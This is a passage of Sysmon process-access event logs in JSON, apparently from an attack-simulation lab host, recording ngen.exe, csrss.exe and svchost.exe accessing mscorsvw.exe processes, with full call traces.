4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42B7-5F2D-0000-00106EE70C00}\r\nTargetProcessId: 4720\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:59.541","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42B7-5F2D-0000-00106EE70C00}","TargetProcessId":"4720","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7302,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:59.541\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42B7-5F2D-0000-00106EE70C00}\r\nTargetProcessId: 4720\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:59.541","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42B7-5F2D-0000-00106EE70C00}","TargetProcessId":"4720","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:02:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7303,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:59.557\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42B7-5F2D-0000-00106EE70C00}\r\nTargetProcessId: 4720\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:59.557","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42B7-5F2D-0000-00106EE70C00}","TargetProcessId":"4720","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7304,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:59.619\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42A6-5F2D-0000-0010A0500B00}\r\nTargetProcessId: 4188\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:59.619","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42A6-5F2D-0000-0010A0500B00}","TargetProcessId":"4188","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7305,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:59.619\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42A6-5F2D-0000-0010A0500B00}\r\nTargetProcessId: 4188\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:59.619","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42A6-5F2D-0000-0010A0500B00}","TargetProcessId":"4188","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:02:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7306,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:59.619\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42A6-5F2D-0000-0010A0500B00}\r\nTargetProcessId: 4188\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:59.619","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42A6-5F2D-0000-0010A0500B00}","TargetProcessId":"4188","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7307,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:59.666\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42B7-5F2D-0000-00109BEE0C00}\r\nTargetProcessId: 4364\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:59.666","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42B7-5F2D-0000-00109BEE0C00}","TargetProcessId":"4364","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7308,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:59.666\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 1148\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42B7-5F2D-0000-00109BEE0C00}\r\nTargetProcessId: 4364\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:59.666","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42B7-5F2D-0000-00109BEE0C00}","TargetProcessId":"4364","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 